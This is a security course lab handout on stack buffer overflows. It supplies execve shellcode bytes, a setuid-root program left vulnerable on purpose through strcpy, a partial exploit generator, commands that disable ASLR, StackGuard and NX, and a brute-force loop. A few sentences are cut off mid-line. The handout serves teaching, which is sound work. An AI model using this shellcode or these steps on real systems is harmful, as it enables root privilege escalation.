Advanced Security of Networked Systems

Writing a Buffer Overflow Exploit

Submit all relevant write up, screenshots and exploit code (including screenshot of outputs after each step). You are given a program with buffer overflow vulnerability; your task is to develop a scheme to exploit the vulnerability and gain root privileges. In addition to constructing an attack, students will be guided to walk through several protection schemes that have been designed to counter against buffer overflow attacks.

1. Initial setup

Ubuntu and several other Linux distributions use address space randomization to randomize the starting address of heap and stack. This makes guessing the exact return address difficult; guessing addresses is one of the critical steps of a buffer overflow attack. We can disable address randomization using the following commands:

#sysctl -w kernel.randomize_va_space=0

The GCC compiler implements a security mechanism called Stack Guard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will fail to work. You can disable this protection when you are compiling a program using the gcc option -fno-stack-

For example, to compile a program example.c with Stack Guard disabled, you can use the following command:

 # gcc -fno-stack-protector -o example example.c

Finally, Ubuntu uses NX protection to mark memory pages on the stack as non-executable. Binaries must declare whether they require executable stacks or not as part of the ELF header. By default, gcc will mark all binaries as using non-executable stacks. To change this, add the following option to the command line in addition to the StackGuard disabling option above:

 # gcc -z execstack -fno-stack-protector -o example example.c

2. Shellcode

Before you start the attack, you need a shellcode. Shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. You may use your own shell code for the assignment. Consider the following program:

```
#include <stdio.h>

int main( ) {
        char *name[2];
        name[0] = "/bin/sh";
        name[1] = NULL;
        execve(name[0], name, NULL);

}
```

The shellcode that we use is just the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer.

Please compile and run the following code, and see whether a shell is

/* call_shellcode.c
*/

/*A program that creates a file containing code for launching shell*/

```
#include <stdlib.h>
#include <stdio.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
```

A few places in this shellcode are worth mentioning. First, the third instruction pushes "//sh", rather than "/sh" into the stack. This is because we need a 32-bit number here, and "/sh" has only 24 bits. Fortunately, "//" is equivalent to "/", so we can get away with a double slash symbol.

Second, before calling the execve() system call, we need to store name[0](the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdql) used here is simply a shorter instruction. Third, the system call execve() is called when we set %al to 11, and execute "int $0x80".

3. Task1: Shellcode – Brain Teaser

Below is a modified version of the shell code. Compile the following program without the additional flags as:

gcc –o shell call_shellcode-1.c

The program as you will see will infact give you a shell. Explain why this is so? What could be the reason why the following program didn't require the execstack flag?

```
/*A program that creates a file containing code for launching shell*/

#include <stdlib.h>
#include <stdio.h>

const char code[] =
 "\x31\xc0"
 "\x50"
 "\x68""//sh"
 "\x68""/bin"
 "\x89\xe3"
 "\x50"
 "\x53"
 "\x89\xe1"
 "\x99"
 "\xb0\x0b"
 "\xcd\x80";

int main(int argc, char **argv)
{
 printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
 return 0;
}
```

Vulnerable program :

```
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
        char buffer[12];
        /* The following statement has a buffer overflow problem */
        strcpy(buffer, str);
        return 1;
}

int main(int argc, char **argv)
{
        char str[517];
        FILE *badfile;
        badfile = fopen("badfile", "r");
```

```
        fread(str, sizeof(char), 517, badfile);
        bof(str);
        printf("Returned Properly\n");
        return 1;
}
```

Note that we compile with the options to turn off StackGuard and NX and to add debugging information (-g). We will find the debugging information helpful later in the assignment when we want to determine the address of our shellcode in the program memory space. The above program has a buffer overflow vulnerability. It first reads an input from a file called "badfile", and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() has only 12 bytes long. Because strcpy() does not checkboundaries, the buffer will be overflowed. Since this program is a SETUID root program, an unprivileged user can exploit the buffer overflow to gain a root shell. Since "badfile" is under the control of the user who runs the program, a malicious user can construct its contents to exploit the buffer overflow and obtain a root shell. In fact, that is our goal in the first part of the lab below.

4. Task 2: Exploiting the Vulnerability

We provide you with a partially completed exploit code called "exploit.c". The goal of this code is to construct the contents for "badfile", which is an exploit for our vulnerable program. In this code, the shellcode is given to you. You need to develop the rest of the exploit, including data to overwrite the return address with the address of your shellcode and a NOP pad to ensure that the exploit works even if your address for the shellcode is off by a few bytes.

HINT: Use NOP-sled:

http://en.wikipedia.org/wiki/Buffer_overflow#NOP_sled_technique

```
/* exploit.c */

/* A program that creates a file containing code for launching shell*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
```

```
void main(int argc, char **argv)
{
        char buffer[517];
        FILE *badfile;

        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);

        /* You need to fill the buffer with appropriate contents here */

        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
}
```

After you finish the above program, compile and run it. This will generate the contents for "badfile". Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get

Important: Please compile your vulnerable program first. Please note that the program exploit.c, which generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with Stack Guard protection

$ gcc -o exploit exploit.c
$./exploit // create the badfile

5. Task 3: To Get Root Shell

To make the above vulnerable program SETUID root:

#gcc -g -o stack -z execstack -fno-stack-protector stack.c
#chown root:root stack
 # chmod 4755 stack

/* To confirm that you infact got a root shell */
Run the command id to see the effective and real UID and GUID. Write out your observation. It should be noted that although you have obtained the "#" prompt, your real user id is still yourself (the effective user id is now root).

6. Task 4: Address Randomization (Extra Credit)

Now, we turn on the Ubuntu's address randomization. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult? You should describe your observation and explanation in your assignment report. You can use the following instructions to turn on the address randomization:

 # /sbin/sysctl -w kernel.randomize_va_space=2

If running the vulnerable code once does not get you the root shell, how about running it for many times ? Run ./stack in an infinite loop using the shell command below, and see what happens. If your exploit program is designed properly, you should be able to get the root shell after a while. You can modify your exploit program to increase the probability of success, i.e., reduce the time that you have to wait.

$ sh -c "while [1]; do ./stack; done;"